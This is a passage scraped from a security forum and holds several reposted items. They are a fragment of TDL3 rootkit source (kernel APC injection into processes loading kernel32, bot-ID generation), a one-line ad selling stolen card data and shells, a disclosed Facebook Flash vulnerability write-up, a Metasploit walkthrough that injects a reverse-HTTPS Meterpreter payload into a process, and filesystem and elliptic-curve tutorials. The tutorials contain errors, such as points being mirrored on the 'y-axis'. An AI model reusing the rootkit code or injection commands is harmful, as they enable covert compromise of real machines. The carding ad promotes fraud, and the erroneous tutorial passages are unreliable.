KeInitializeEvent(&wiiItem.keEvent,NotificationEvent,FALSE); ExInitializeWorkItem(&wiiItem.qiItem,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIInjector),&wiiItem); ExQueueWorkItem(&wiiItem.qiItem,DelayedWorkQueue); KeWaitForSingleObject(&wiiItem.keEvent,Executive,KernelMode,TRUE,0); return; } VOID LoadImageNotify(PUNICODE_STRING FullImageName,HANDLE hProcessID,PIMAGE_INFO ImageInfo) { if(FullImageName!=0) { WCHAR wcKernel32Mask[]={L'*',L'\\',L'K',L'E',L'R',L'N',L'E',L'L',L'3',L'2',L'.',L'D',L'L',L'L',0}; UNICODE_STRING usKernel32Mask; RtlInitUnicodeString(&usKernel32Mask,wcKernel32Mask); if(FsRtlIsNameInExpression(&usKernel32Mask,FullImageName,TRUE,0)) { PKAPC pkaApc; if(GET_TDL_ADDRESSES->pvLoadLibraryExA==0) { GET_TDL_ADDRESSES->pvLoadLibraryExA=GetProcedureAddressByHash(ImageInfo->ImageBase,TDL_HASH_LOADLIBRARYEXA); } pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC)); if(pkaApc!=0) { KeInitializeApc(pkaApc,KeGetCurrentThread(),0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCInjectRoutine),0,0,KernelMode,0); KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT); } } } return; } VOID WIKnock(PVOID pvWIKnock) { KEVENT keEvent; ExFreePool(pvWIKnock); /* CHAR cSection2[]=TDL_CONFIG_MAIN; CHAR cKey[]={'r','e','b','o','o','t','s',0}; CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0}; DWORD dwRand=(DWORD)rand()%100; DbgPrint(cDebug,cKey,dwRand); TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand); */ KeInitializeEvent(&keEvent,NotificationEvent,FALSE); while(TRUE) { LARGE_INTEGER liDelay; if((*GET_TDL_ADDRESSES->cBotID==0) &&NT_SUCCESS(GenerateBotID(GET_TDL_ADDRESSES->cBotID,RTL_NUMBER_OF(GET_TDL_ADDRESSES->cBotID)))) { OBJECT_ATTRIBUTES oaAttributes; WCHAR wcBotID[0x10+sizeof(L'\\')+1]; WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0}; UNICODE_STRING usName; HANDLE hEvent; _snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,GET_TDL_ADDRESSES->cBotID); RtlInitUnicodeString(&usName,wcBotID); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE); return; } liDelay.QuadPart=(LONGLONG)-10*10000000; //liDelay.QuadPart=(LONGLONG)-1*10000000; KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay); } return; } /* void WITimer(PVOID pvWITimer) { CHAR cSection2[]=TDL_CONFIG_MAIN; CHAR cKey[]={'r','e','b','o','o','t','s',0}; CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0}; KEVENT keEvent; ExFreePool(pvWITimer); KeInitializeEvent(&keEvent,NotificationEvent,FALSE); while(TRUE) { DWORD dwRand=(DWORD)rand()%100; LARGE_INTEGER liDelay; DbgPrint(cDebug,cKey,dwRand); //TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand); liDelay.QuadPart=(LONGLONG)-5*10000000; KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay); } } */ PIMAGE_SECTION_HEADER RvaToSectionHeader(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva) { PIMAGE_SECTION_HEADER pishHeader; DWORD dwSection; pishHeader=IMAGE_FIRST_SECTION(pinhHeader); for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++) { if((dwRva>=pishHeader->VirtualAddress) &&(dwRva<(pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize))) { return pishHeader; } pishHeader++; } return 0; } DWORD RvaToFileOffset(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva) { PIMAGE_SECTION_HEADER pishHeader; pishHeader=RvaToSectionHeader(pinhHeader,dwRva); if(pishHeader!=0) { return (DWORD)ALIGNDOWN(pishHeader->PointerToRawData,pinhHeader->OptionalHeader.FileAlignment)+(dwRva-pishHeader->VirtualAddress); } return 0; } Complet: http://pastebin.com/UpvGUw19 Sursa: Some TDL3 C++ Source code 1000+ lines
-
VAND cvv,paypals,shop admin,mailer,shells,smtp !!!!!!
Nytro replied to Anubis77's topic in RST Market
Ban permanent. -
[h=2]Friday, December 16, 2011[/h] [h=3]Doing Cross Page Communication Correctly[/h] I haven't updated this blog in more than one year (woops), but it seems like I still have a couple of followers, so I was thinking on what to write about. I was originally planning to post this on August, but the fix was delayed more than expected. I decided to choose a random target on the interwebs to find an interesting vuln, and since Facebook recently launched it's "Whitehat Program", which rewards people that report them security vulnerabilities (kinda the same as Google's Vulnerability Reward Program), I chose them. (Note: As of December 15, Facebook says they have fixed the vulnerability, and awarded a $2,500 USD bounty). So, I took a look at their "main JS file": http://connect.facebook.net/en_US/all.js And well, first thing that came to my mind was RPC. Mostly, because I worked implementing the Apache Shindig's version of the Flash RPC, and have helped reviewing easyXDM's implementation, I just knew this is too hard to get right. A simple grep for ".swf" in their all.js file lead us to "/swf/XdComm.swf". And since I didn't know what domain that was on I tried: https://www.facebook.com/swf/XdComm.swf And that worked. So let's see.. I sent it to showmycode.com and we get this: Show My Code | Flash decompiler There are several non-security-bugs in that code (some of which I decided to ignore for brevity and keep the WTF quota of this blog low). In general the security problems found are not specific to FB at all, they are mostly, side effects of bad design decisions from either Flash or the browsers. However, this problems are widely known and can be abused by attackers to compromise information. Calling security.allowDomain The first thing I notice is that XdComm calls Security.allowDomain and Security.allowInsecureDomain. This allows to execute code in the context of https://www.facebook.com/ so it's an Flash-XSS, FAIL #1. The way you exploit this is by loading the victim SWF inside the attacker's SWF. That's it. The problem here is that Adobe provides only one API for enabling two very different functionalities. In this case, what Facebook wants is just allow an HTML container to call whitelisted 'callbacks' from the SWF, but inadvertently it is also allowing anyone to load the SWF inside another SWF and access all methods and variables, which can result in code execution. Adobe actually acknowledges this is a problem, and they will make changes to support this two different use cases. The reason I don't provide a PoC is because there are several applications out there that depend on this behavior and can't easily deploy any fixes, and Adobe is working on fixing this at Flash (which is where it should be fixed). When there's a viable alternative or a good solution I'll post a PoC. What FB should have done is keep this SWF out of Bine ai venit pe Facebook - autentific?-te, înscrie-te sau afl? mai multe. Getting the embedding page location The second thing I notice is that it's getting the origin of the page hosting the SWF calling: this.currentDomain = ExternalInterface.call("self.document.domain.toString"); And as any Flash developer should know, ExternalInterface.call isn't something you can actually trust, so now you can "cheat" XdComm.swf into thinking it's being embedded by a page it isn't by simply overriding __flash__toXML. So, by abusing this vulnerable check, we can actually, listen and send messages on any LocalConnection channel. This doesn't only mean we just defeated the security of the transport, but that also, if any other SWF file uses LocalConnection in facebook.com (or fbcdn.net), we can sniff into that as well. So, FAIL #2. It is hard, for a movie (or a plugin whatsoever) to know with certainty where it's being hosted. A SWF can be sure it's being hosted same domain, by requiring the hosting page to call a method in the Movie (added by ExternalInterface.addCallback), since by default, Flash only allows movies hosted in the same domain to call callback methods of a movie (this is what we do in Shindig for example), but besides that it's not so simple. Some insecure methods exist and are widely used to know the hosting page, such as calling: ExternalInterface.call("window.location.toString") There are some variations of that code, such as calling window.location.href.toString, which is also simple to bypass by rewriting the String.toString method, and works on all browsers. It's futile to try to "protect" those scripts, because of the way Flash handles ExternalInterface, it's possible to modify every single call made by the plugin, since when you call ExternalInterface.call, what really happens is that the plugin injects a script to the window with: ExecScript('try { __flash__toXML(' + yourCode + ') ; } catch (e) { "<undefined;>"; }'); And, __flash__toXML is a global function injected by Flash, which can be modified to return whatever we want. (function(){ var o; window.__flash__toXML = function () { return o("potato") }; window.__defineSetter__("__flash__toXML", function(x) {o = x;}); })(); It's worth noting that Flash also bases some of it's security decisions on the value of window.location (such as, if a movie is allowed to be scripted from a website or not), and while this check is more difficult to tamper (and browsers actively fix it), it's still possible to do it, and it's even easier on other browsers such as Safari (in Mac OS) where you can just replace the function "__flash_getWindowLocation" and "__flash_getTopLocation". Luckily, it seems like we might be able to get at least the right Origin in future versions of Flash, as Mozilla is proposing a new NPAPI call just for this. Let's just hope that Adobe makes this available to the SWF application via some API. What FB should have done is namespace the channel names, and use some other way of verifying the page embedding the SWF (like easyXDM or Shindig does). It is also possible for an attacker to specify what transport it wishes to use, so we might be able to force a page to use the Flash transport even when it might also support postMessage. postMessage should be used cautiously There's one last thing I found. Facebook has a file which seems to allow an attacker to forge (postMessage) messages as coming from https://www.facebook.com/ into another page that allows framing arbitrary pages. The Proof of Concept is located at http://r.i.elhacker.net/fbpwn As you can see the page will allow an attacker to send messages and will also allow the attacker to specify the target origin. The attack seems to be hard to do since the "parent" seems to be hard coded. So this is FAIL #3. This is a good demonstration why the existing implementation of postMessage is fundamentally broken, it's really easy for two different scripts to interfere with each other. I can't actually blame FB for that, it's more like a design problem in postMessage. Luckily there's a new mechanism to use postMessage (called channel messaging), which partly solves this problem (or at least makes it harder to happen). You can read more about it here: 10 Communication — HTML Standard Random fact.. This is what Chrome uses internally to communicate with other components like the Web Inspector. Vendor Response I reported these issues from https://www.facebook.com/whitehat on Tuesday Aug 16 2011 at 2 PM (PST), with the draft of this blogpost, and got a human acknowledgement at 7PM. The issue was finally fixed on December 15 2011. Conclusion So well, this was my first post of 2011 (it's December!), and I actually made it because there was a few "de facto" knowledge about Flash that I wanted to put in writing somewhere, and because I had a look at Facebook regarding something not strictly related to work! In general I am impressed on the security of Facebook applications. While doing this I got locked out of my account like 5 or 6 times (maybe they detected strange behavior?), I noticed several security protections in their API (api.facebook.com/graph.facebook.com), and they actually do protect against other security vulnerabilities that most websites don't know about (such as ExternalInterface.call escaping bugs, content type sniffing, etc). I was awarded a $2,500.00 USD bounty for this report (not sure how it was calculated), and I'm considering donating it to charity (it can become 5k!). Any suggestions? Posted by sirdarckcat at 9:06 PM Sursa: sirdarckcat: Doing Cross Page Communication Correctly
-
[h=3]The Linux Programming Interface[/h] The Linux Programming Interface is the definitive guide to the Linux and UNIX programming interface—the interface employed by nearly every application that runs on a Linux or UNIX system. In this authoritative work, Linux programming expert Michael Kerrisk provides detailed descriptions of the system calls and library functions that you need in order to master the craft of system programming, and accompanies his explanations with clear, complete example programs. You'll find descriptions of over 500 system calls and library functions, and more than 200 example programs, 88 tables, and 115 diagrams. You'll learn how to: Read and write files efficiently Use signals, clocks, and timers Create processes and execute programs rite secure programs Write multithreaded programs using POSIX threads Build and use shared libraries Perform interprocess communication using pipes, message queues, shared memory, and semaphores Write network applications with the sockets API Download: http://www.megaupload.com/?d=DXRGN8AA Sursa: The Linux Programming Interface | Linux Ubuntu - Linux Books - Linux Programming Languages
-
[h=3]Linux File Systems: Ext2 vs Ext3 vs Ext4[/h] This article explains the following: High level difference between these filesystems. How to create these filesystems. How to convert from one filesystem type to another. Ext2 stands for second extended file system. It was introduced in 1993. Developed by Rémy Card. This was developed to overcome the limitation of the original ext file system. Ext2 does not have journaling feature. On flash drives, usb drives, ext2 is recommended, as it doesn’t need to do the over head of journaling. Maximum individual file size can be from 16 GB to 2 TB Overall ext2 file system size can be from 2 TB to 32 TB Ext3 stands for third extended file system. It was introduced in 2001. Developed by Stephen Tweedie. Starting from Linux Kernel 2.4.15 ext3 was available. The main benefit of ext3 is that it allows journaling. Journaling has a dedicated area in the file system, where all the changes are tracked. When the system crashes, the possibility of file system corruption is less because of journaling. Maximum individual file size can be from 16 GB to 2 TB Overall ext3 file system size can be from 2 TB to 32 TB There are three types of journaling available in ext3 file system. Journal – Metadata and content are saved in the journal. Ordered – Only metadata is saved in the journal. Metadata are journaled only after writing the content to disk. This is the default. Writeback – Only metadata is saved in the journal. Metadata might be journaled either before or after the content is written to the disk. You can convert a ext2 file system to ext3 file system directly (without backup/restore). Ext4 stands for fourth extended file system. It was introduced in 2008. Starting from Linux Kernel 2.6.19 ext4 was available. Supports huge individual file size and overall file system size. Maximum individual file size can be from 16 GB to 16 TB Overall maximum ext3 file system size is 1 EB (exabyte). 1 EB = 1024 PB (petabyte). 1 PB = 1024 TB (terabyte). Directory can contain a maximum of 64,000 subdirectories (as opposed to 32,000 in ext3) You can also mount an existing ext3 fs as ext4 fs (without having to upgrade it). Several other new features are introduced in ext4: multiblock allocation, delayed allocation, journal checksum. fast fsck, etc. All you need to know is that these new features have improved the performance and reliability of the filesystem when compared to ext3. In ext4, you also have the option of turning the journaling feature “off”. Sursa: Linux File Systems: Ext2 vs Ext3 vs Ext4 | Linux Articles - Linux Ubuntu
-
INJECTING PAYLOADS INTO MEMORY METERPRETER By Carlos Perez on December 16, 2011 3:07 PM Recently at Derbycon 2010 I had a chance to see Egyp7 (James Lee) from the metasploit project do some demos for students of his Metasploit class and I saw he was using the multimeterinject script I wrote to create a secondary shell in case the main one died. I also saw that on 64bit systems it was a pain because it just failed silently, did not gave any warning. On my flight back from the conference I thought that injecting not only a Meterpreter payload could be quite useful, specially when one wishes to have a GUI access on the box but enabling RDP would be to risky one could inject a VNC payload, so I wrote a post module called payload_inject. The module has the capability of: Injecting a Windows Payload in to 32bit and 64bit Processes. Check that both the payload and the process are of the same architecture. Start a temporary process with the appropriate architecture. Be able to provide a flexible option list since different payloads have different options. So payload_inject was born in a flight from Kentucky to Puerto Rico. Lets start by looking at the module and it's options from inside a Meterpreter session: msf post(persistence) > sessions -i 2 [*] Starting interaction with 2... meterpreter > info post/windows/manage/payload_inject Name: Windows Manage Memory Payload Injection Module Module: post/windows/manage/payload_inject Version: 14039 Platform: Windows Arch: Rank: Normal Provided by: Carlos Perez <carlos_perez@darkoperator.com> Description: This module will inject into the memory of a process a specified windows payload. If a payload or process is not provided one will be created by default using a reverse x86 TCP Meterpreter Payload. Module options (post/windows/manage/payload_inject): Name Current Setting Required Description ---- --------------- -------- ----------- HANDLER false no Start an Exploit Multi Handler to receive the connection LHOST yes IP of host that will receive the connection from the payload. LPORT 4433 no Port for Payload to connect to. OPTIONS no Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format. PAYLOAD windows/meterpreter/reverse_tcp no Windows Payload to inject into memory of a process. PID no Process Identifier to inject of process to inject payload. SESSION yes The session to run this module on. Now that we see that are the options available lets load a reverse HTTPS session in a persistent way in memory as our secondary shell: meterpreter > run post/windows/manage/payload_inject PAYLOAD=windows/meterpreter/reverse_https,LHOST=192.168.1.100,LPORT=3334,HANDLER=true,OPTIONS='SessionCommunicationTimeout=0,SessionExpirationTimeout=0,PID=3384' [*] Running module against WIN701 [*] Starting exploit multi handler [*] Performing Architecture Check [*] Started HTTPS reverse handler on https://192.168.1.100:3334/ [*] Starting the payload handler... [*] Process found checking Architecture [+] Process is the same architecture as the payload [*] Injecting Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager into process ID 3384 [*] Opening process 3384 [*] Generating payload [*] Allocating memory in process 3384 [*] Allocated memory at address 0x006e0000, for 369 byte stager [*] Writing the stager into memory... [+] Successfully injected payload in to process: 3384 meterpreter > [*] 192.168.1.138:37854 Request received for /INITM... [*] 192.168.1.138:37854 Staging connection for target /INITM received... [*] Patched transport at offset 486516... [*] Patched URL at offset 486248... [*] Patched Expiration Timeout at offset 641856... [*] Patched Communication Timeout at offset 641860... [*] Meterpreter session 7 opened (192.168.1.100:3334 -> 192.168.1.138:37854) at 2011-10-28 17:47:46 -0400 One of the things I like about the HTTPS sessions is that I can detach from one and reconnect later to it by just bringing up a listener: meterpreter > background msf post(persistence) > sessions -i 7 [*] Starting interaction with 7... meterpreter > detach [*] Meterpreter session 7 closed. Reason: User exit msf post(persistence) > [*] 192.168.1.138:48859 Request received for /CONN_bPXZiVo1IOWy8xFv/... [*] Incoming orphaned session CONN_bPXZiVo1IOWy8xFv, reattaching... [*] Meterpreter session 7 opened (192.168.1.100:3334 -> 192.168.1.138:48859) at 2011-10-28 17:55:12 -0400 We can do the same with any Windows compatible payload. I hope you find the module useful. Sursa: http://pauldotcom.com/2011/12/injecting-payloads-into-memory.html
-
Rubber-Ducking: Elliptic Curve Cryptography There’s a time-honored debugging method known as “Rubber Duck Debugging” in which one explains a process to others, or sometimes even to an inanimate object. The goal isn’t to get comments or notes during the explanation, but rather to come to a better understanding of the subject (or to find bugs) solely via the act of explaining itself. It’s pretty effective at a lot of things. This is the first in what I expect to be a long series of “Rubber-Ducking” posts in which I attempt to grasp a concept better by explaining it to you, a random reader somewhere on the internet. When reading these articles keep in mind that I’m explicitly stating right there in the title that I’m not an expert on the subject matter. If you know something that I don’t, if you’ve spotted a mistake in the article, point it out in the comments and I’ll revise it. Unlike many of my other articles, all of my corrections in Rubber-Ducking articles will be in strikethrough and my additions will be underlined so as to preserve the process for myself and future readers. Without further ado, let’s tackle our first project, shall we? The subject of this first post is elliptic curve cryptography (ECC). I’m not going to delve into specific implementations like ECDSA, just the basic underlying concepts. The Wikipedia article I linked to above is a good rundown of the math, but ECC is a geometrically-based concept and I find it much easier to grasp such concepts visually. Why the good folks at Wikipedia chose not to include any graphs or diagrams, I’ll never know. ECC begins with a simple equation in the form y²=x³+ax+b where x, y, a and b are real numbers. Different values of a and b yields a different elliptic curve. The equation y²=x³-5x+7 yields the following curve, for example: It should be noted that certain values of a and b create curves which are not well-suited for use in ECC. If x³+ax+b contains no repeated factors (or equivalently, if 4a³+27b²?0) then it should be valid. The equation defines a group of points, all real numbers, which satisfy the equation. There is also a special point O called the “point at infinity” which is included in ECC sets to satisfy a couple of edge cases. Once we’ve defined our curve, there are a few interesting things we can do with points on the curve. For example, we can select any two points P and Q which fall along the curve and add them to find a third point, R. For all values of P and Q, there is a P+Q=R which falls on the curve. Here’s how the addition works, geometrically speaking: It’s relatively simple: Draw a line intersecting both P and Q. For all P and Q there will be one (and only one) additional point at which the line intersects the curve. This is -R. To find R we simply mirror -R on the y-axis since, for all values of -R there should be one (and only one) value of R. It’s worth noting that we have a valid reason for this -R and R y-axis mirroring nonsense: If we didn’t do this then P+Q=R would define a point R which, when added to P would create Q again. We wouldn’t move about the curve at all when performing such addition, just define a few interesting points. Now this is all interesting and useful, but in order to build a useful cryptosystem we need a hard mathematical problem that is sufficiently difficult to solve (with current technology) as to be, for all practical purposes, impossible. Scalar addition such as P+Q=R oesn’t seem to be such a problem. So what else can we do with such an elliptic curve group? Let’s have a look at point-doubling… Here we’ve taken a point P and drawn a tangent line through it. Such a tangent line will intersect the curve at one additional point, -R which we then mirror along the y-axis to find R. In this case we’re looking at a diagram for P+P=2P=R. From this point we can use our first method to continue adding P to itself: 2P+P=3P, 3P+P=4P and so on. Now my instincts tell me we’re on to something here, but I’ve also got to admit that I’m having somewhat of a reality-check: computers are very bad at working with real numbers. We’ve got to make this work with integers somehow… Let’s look at our original equation: y²=x³+ax+b for a moment. Now this defines a very large (infinite, actually) set of points, but we don’t want points which aren’t integers. Instinct tells me that this is a good case for the modulo operation. As it happens, instinct is right again. y² mod p = x³ + ax + b mod p yields a field of size p with finitely many inter points and any operation on said points also result in integer points. The field F23, (p=23) for example will yield a functional field of 0 to 23 on both the x and y axis and contains p-1=22 points which satisfy the elliptic curve equation – and here they are: Note that we’ve lost all semblance of the original curvatures, but that there is still symmetry along the y-axis at the point p/2=11.5. Since our nice clean geometric procedures are irrevocably destroyed in this set, now would be the time to break out the equations which describe the lines and points we were drawing earlier. P+Q=R where: and 2P=R where: This is the point that most ECC documents start at: a big long list of equations. In this case, I find it’s much easier to grasp the equations if you first grasp the geometry so hopefully you were prepared for that jumbled pile of math better than I was the first time I read it… Now at this point we’ve got a collection of strange, though symmetrical, points across a field of size F23 and a series of equations describing the rules for scalar multiplication (finding nP for a given P). ECC is based on the intractability of scalar multiplication products. Imagine that we’re still working in the field (F23) we defined above and I give you two pieces of information: two points, R and Q. I ask you to find a value n for which R=nQ mod p. This is called the Elliptic Curve Discrete Logarithm Problem (ECDLP) and it’s every bit as difficult to solve as the other discrete logarithm problem. Of course we can brute-force ECC like anything else and even worse, nP will eventually circle back to the original P and form a big loop, so it wouldn’t be hard to solve our F23 example; we’d just make a value of every possible nP until nP=P again. In reality, however, F23 is an extremely small field. In practice field sizes would be more like 2128 or 2256 and as such highly resilient to brute force. The most efficient algorithms for solving the ECDLP run in O(?n) time, where factorization runs in O(exp((64/9) ^1/3(log ^2/3) time (for a b-bit number) so ECC should be much more difficult to solve at a given key size than integer-factorization or finite-field cryptography which can be solved much more efficiently. It’s also worthy of note than fields over F2m (binary fields) with non-prime m are vulnerable to Weil descent attacks [PDF warning] so best practice is to keep the field size prime. There’s one more thing I forgot to mention: our special “point at infinity” O. O comes into play in a scenario like this one: In this case our point P is on the x-axis (yP=0) and so its tangent line is vertical. Such a line will never intersect with any other point on the curve, so in this case 2P=O. O is also the answer to a P+Q problem where xP=xQ, thus making the line PQ perfectly vertical. Wherever possible, such points should be avoided since if 2P=O then 3P=P, 4P=O, 5P=P and so on – not the makings of a very secure cryptosystem… So there you have it, the basics of elliptic curve cryptography. For the specifics of implementation, well you’ll have to either ask someone else or wait until I get around to rubber-ducking ECDSA. I will note that several DLP-based protocols have been adapted to ECDLP by replacing the group Zp with an elliptic curve, so there should be no shortage of study material out there. Hopefully you learned as much as I did (and believe me I learned a lot – this article has taken days to complete) and hopefully I haven’t made any grievous errors or omissions. If you spot one, point it out in the comments and it’ll be fixed ASAP. Thanks, and happy rubber-ducking to you all! Sursa: Rubber-Ducking: Elliptic Curve Cryptography